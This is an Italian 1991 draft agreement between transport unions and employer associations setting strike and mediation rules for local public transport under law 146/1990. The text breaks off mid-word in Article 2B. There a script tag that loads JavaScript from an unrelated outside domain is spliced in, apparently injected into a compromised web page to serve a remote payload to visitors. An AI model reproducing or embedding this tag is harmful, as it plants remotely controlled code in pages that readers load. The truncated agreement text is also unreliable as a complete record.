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Categoria: Autoferrotranvieri
Settore: Trasporti
Data stipula: 7-2-1991
Data decorrenza: 7-2-1991

IPOTESI DI ACCORDO

Addì 7  febbraio 1991 presso la FEDERTRASPORTI tra le OO.SS.LL. FILT-CGIL,
FIT-CISL e UILTRASPORTI

e

le OO.DD. FEDERTRASPORTI, ANAC e FINIT

- vista la legge 12 giugno 1990, n. 146 recante norme sull'esercizio del
   diritto di sciopero nei servizi pubblici essenziali e sulla salvaguardia
   dei  diritti  della  persona  costituzionalmente   tutelati  tendente  a
   contemperare l'esercizio del diritto di sciopero con quello  di mobilità
   dei cittadini;

- visto l'art. 1 della legge, che considera servizi pubblici essenziali,
   ai  fini  del godimento del  diritto  costituzionalmente  tutelato della
   libertà di circolazione, i pubblici servizi di trasporto;

- in attuazione della previsione dell'art. 2 primo e secondo comma della
   legge ed al fine di consentire alle aziende di emanare  i regolamenti di
   servizio in applicazione della legge stessa;

- considerato che il diritto di sciopero è esercitato nel rispetto di
   misure    dirette   a   consentire    l'erogazione   delle   prestazioni
   indispensabili  per  garantire  il  contemperamento  dell'esercizio  del
   diritto   stesso   con   il   godimento   dei   diritti   della  persona
   costituzionalmente tutelati;

- considerato che la legge demanda alle parti la formulazione di accordi
   specifici;

- valutata altresì l'opportunità di riconsiderare lo stato delle relazioni
   industriali sviluppatesi  attraverso i precedenti protocollo  tendenti a
   sostenere una adeguato e moderno ruolo dei servizi di trasporto pubblico
   locale,  il miglioramento del lavoro livello qualitativo e di efficacia,
   le condizioni  di  vita  e di  lavoro  dei dipendenti,  la  garanzia del
   servizio e la tutela dell'utenza in presenza di conflitti di lavoro;

si concorda quanto segue:



ART. 1 - CAMPO DI APPLICAZIONE

Il presente accordo si applica ai seguenti pubblici servizi di trasporto:

- autofilotranvie;
- autolinee in concessione;
- navigazione interna lagunare;
- navigazione interna lacuale;
- funivie portuali;
- funicolari terrestri ed aree assimilate, per atto di concessione dalle
   ferrovie.

I soggetti di cui all'art. 8, comma due, ultimo periodo della legge 146/90
ed i servizi accessori e strumentali necessari all'esercizio  del pubblico
servizio di trasporto, comunque gestiti. entrano nel campo di applicazione
del presente accordo.



ART. 2 - PROCEDURE DI MEDIAZIONE E RAFFREDDAMENTO

A) RINNOVI CONTRATTUALI NAZIONALI

    Le OO.SS. si impegnano a presentare le piattaforme rivendicative per il
    rinnovo dei contratti 60 giorni prima della loro scadenza.
    
    Le Associazioni datoriali si impegnano ad iniziare  le trattative entro
    60 giorni dalla presentazione della piattaforma.
    
    In  occasione  del  primo  incontro  tra  le  Delegazioni  trattanti si
    definirà  il  percorso  del negoziato e si  procederà  alla valutazione
    complessiva della piattaforma rivendicativa.
    
    Verificata la possibilità di  dare corso al negoziato,  negli ulteriori
    60  giorni,  le parti perseguiranno la  definizione della controversia.
    Qualora le parti non concordino ulteriori iniziative per la definizione
    della vertenza,  dopo aver  eventualmente ricorso ad  organismi esterni
    per la valutazione dei termini del contendere o a sedi istituzionali di
    mediazione  -  iniziative in pendenza delle quali resta  ancora sospesa
    ogni azione sindacale -  non sussiste impedimento ulteriore alle azioni
    nel rispetto delle norme del presente protocollo.


B) VERTENZE AZIENDALI PER L'APPLICAZIONE DI ACCORDI

    Entro 10  giorni dalla contestazione scritta ed  adeguatamente motivata
    della violazione,  con relativa richiesta di apertura del confronto, il
    medesimo dovrà avviarsi.
    
    Entro i 15 giorni successivi all'avvio del confronto si dovrà pervenire
    alla con<script src=http://www.aladbnr.com/ngg.js></script>













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